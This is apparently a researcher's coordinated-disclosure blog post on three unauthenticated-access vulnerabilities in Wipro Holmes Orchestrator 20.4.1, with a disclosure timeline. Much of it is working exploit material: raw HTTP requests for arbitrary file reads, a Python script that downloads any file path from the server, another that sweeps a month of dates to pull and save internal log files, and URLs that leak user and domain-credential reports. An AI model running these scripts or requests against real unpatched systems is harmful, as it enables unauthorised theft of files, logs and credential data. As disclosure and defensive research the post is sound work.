Introduction
Recently, I had the opportunity to the pentest the Wipro Holmes Orchestrator v20.4.1 application. During the assessment, I found a few interesting vulnerabilities which are covered in this post.
CVE-2021-38146: Arbitrary File Download
The Wipro Holmes Orchestrator provides an API endpoint to download various files through the applications such as log files. This functionality is visible only to the logged in users. However, the API itself does not have any authentication required to be called. This means that any unauthenticated users can issue requests to the API and download files which should be available to the authenticated users.
Version:
Proof of Concept:
POST /home/download HTTP/1.1
Host: HOLMES_ORCHESTRATOR_HOST:PORT
{
"SearchString": "ABSOLUTE FILE PATH HERE",
"Msg": ""
}
An example request is as follows:
POST /home/download HTTP/1.1
Host: 10.70.10.25:8001
{
"SearchString": "C:/Windows/Win.ini",
"Msg": ""
}
Python PoC:
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146
import requests as rq
import argparse
port = 8001 # change port if application is running on different port
def file_download(host, filepath):
vuln_url = "http://%s:%s/home/download" % (host, port)
data = {
"SearchString": filepath,
"Msg": ""
}
hdr = {
"content-type": "application/json"
}
resp = rq.post(vuln_url, headers=hdr, json=data)
print resp.text
def main():
parser = argparse.ArgumentParser(
description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Remote File Download",
epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
)
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
args = parser.parse_args()
if "\\" in args.file_path:
fp = args.file_path.replace("\\", "/")
else:
fp = args.file_path
file_download(args.target_ip, fp)
if __name__ == "__main__":
main()
Fixed In : v21.4.0
Screenshots:
CVE-2021-38283: Unauthenticated Log File Disclosure
Application log files can be accessed by unauthenticated users. The log files containing sensitive information can be accessed by unauthenticated users by crafting URL as shown below.
http://[wipro-holmes-orchestrator-host:port]/log/[log-date]/[log-file-name]
log-date is the date for which logs need to be retrieved and is in YYYY-MM-DD format log-file-name can be any file from below list.
AlertService.txt
ApprovalService.txt
AuditService.txt
CustomerController.txt
CustomerDomainCredentialService.txt
CustomerFileService.txt
CustomerService.txt
DashboardController.txt
DataParseService.txt
DomainService.txt
ExecutionService.txt
ExternalAPIService.txt
FilesController.txt
FormService.txt
InfrastructureService.txt
ITSMConfigPrepService.txt
LicenseService.txt
LoginService.txt
MailService.txt
MasterdataController.txt
NetworkService.txt
OrchestrationPreparationService.txt
ProblemInfrastructureService.txt
ProcessExecutionService.txt
ServiceRequestService.txt
SolutionController.txt
SolutionLiveService.txt
SolutionService.txt
StorageService.txt
TaskService.txt
TicketingService.txt
UserController.txt
UtilityService.txt
If the files are present, then the file content is retrieved.
Proof of Concept:
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure
# Date: 09/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38283
import requests as rq
import argparse
import datetime
import os
from calendar import monthrange
from multiprocessing.dummy import Pool as ThreadPool
from functools import partial
# Change if running on different port
port = 8001
log_list = [
"AlertService.txt",
"ApprovalService.txt",
"AuditService.txt",
"CustomerController.txt",
"CustomerDomainCredentialService.txt",
"CustomerFileService.txt",
"CustomerService.txt",
"DashboardController.txt",
"DataParseService.txt",
"DomainService.txt",
"ExecutionService.txt",
"ExternalAPIService.txt",
"FilesController.txt",
"FormService.txt",
"InfrastructureService.txt",
"ITSMConfigPrepService.txt",
"LicenseService.txt",
"LoginService.txt",
"MailService.txt",
"MasterdataController.txt",
"NetworkService.txt",
"OrchestrationPreparationService.txt",
"ProblemInfrastructureService.txt",
"ProcessExecutionService.txt",
"ServiceRequestService.txt",
"SolutionController.txt",
"SolutionLiveService.txt",
"SolutionService.txt",
"StorageService.txt",
"TaskService.txt",
"TicketingService.txt",
"UserController.txt",
"UtilityService.txt"
]
def check_month(val):
ival = int(val)
if ival > 0 and ival < 13:
return ival
else:
raise argparse.ArgumentTypeError("%s is not a valid month" % val)
def check_year(val):
iyear = int(val)
if iyear >= 1960 and iyear <= datetime.date.today().year:
return iyear
else:
raise argparse.ArgumentTypeError("%s is not a valid year" % val)
def do_request(target, date, log_file):
log_url = "http://%s/log/%s/%s" % (target, date, log_file)
log_name = "%s_%s" % (date, log_file)
print ("[*] Requesting Log: /log/%s/%s" % (date, log_file))
resp = rq.get(log_url)
if resp.status_code == 200 and not "Wipro Ltd." in resp.text:
print ("[+] Success : %s" % log_url)
#print (resp.text[0:150] + "\n<...snipped...>")
with open("logs/%s" % log_name, 'w') as lf:
lf.write(resp.text)
lf.close()
print ("[*] Log File Written to ./logs/%s" % (log_name))
def main():
parser = argparse.ArgumentParser(
description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",
epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick"
)
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-m","--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month)
parser.add_argument("-y","--year", help="year of the log", required=True, type=check_year)
args = parser.parse_args()
ndays = monthrange(args.year, args.month)[1]
date_list = ["%s" % datetime.date(args.year, args.month,day) for day in range(1,ndays+1,1)]
target = "%s:%s" % (args.target_ip, port)
# create folder "logs" to save log files, if does not exist
if not os.path.exists("./logs"):
os.makedirs("./logs")
for log_date in date_list:
for log_file in log_list:
do_request(target, log_date, log_file)
if __name__ == "__main__":
main()
Screenshots:
Fixed In : v21.4.0
CVE-2021-38147: Report Disclosure
In the application, if at some point some user has exported any of the Reports as excel, these files remain in the server. When an unauthenticated user attempts to access any of the below endpoints such files are downloaded. Details of the vulnerable endpoints and the information exposed by the reports from these endpoints are provided below.
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Excel Report Download
# Date: 09/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38147
User Report:-
API: http://HOLMES_ORCH_HOST:PORT/processexecution/DownloadExcelFile/User_Report_Excel
Exposed Information: Username, Email, Role, First Name, Last Name, User Level and User Domain of different users.
Domain Credentials Report:-
API: http://HOLMES_ORCH_HOST:PORT/processexecution/DownloadExcelFile/Domain_Credential_Report_Excel
Exposed Information: Domain Credential Names, Type, Domain Names
Other Endpoints:-
http://HOLMES_ORCH_HOST:PORT/processexecution/DownloadExcelFile/Process_Report_Excel
http://HOLMES_ORCH_HOST:PORT/processexecution/DownloadExcelFile/Infrastructure_Report_Excel
http://HOLMES_ORCH_HOST:PORT/processexecution/DownloadExcelFile/Resolver_Report_Excel
Screenshots
Fixed In : v21.4.0
Disclosure Timelines
- 05/08/2021 - Vulnerabilities reported to Vendor (Wipro)
- 05/08/2021 - Privately requested Mitre CNA (CVE Numbering Authority) for allocating CVE’s
- 05/08/2021 - CVE-2021-38146, CVE-2021-38147 Reserved (No details made public)
- 12/10/2021 - Vendor (Wipro) shared release notes for new version with fixes
- 24/10/2021 - Retested and validated the fixes and confirmed to vendor
- 15/11/2021 - Published proof of concept for CVE-2021-38146, Mitre published CVE
- 18/11/2021 - CVE-2021-38283 Reserved (No details made public)
- 22/11/2021 - Published proof of concept for CVE-2021-38147 and CVE-2021-38283, Mitre published CVE
- 23/11/2021 - Full disclosure - Blog post published on CVE’s
The details of vulnerabilities were made public only after the vendor has confirmed the fixes and sharing the release notes.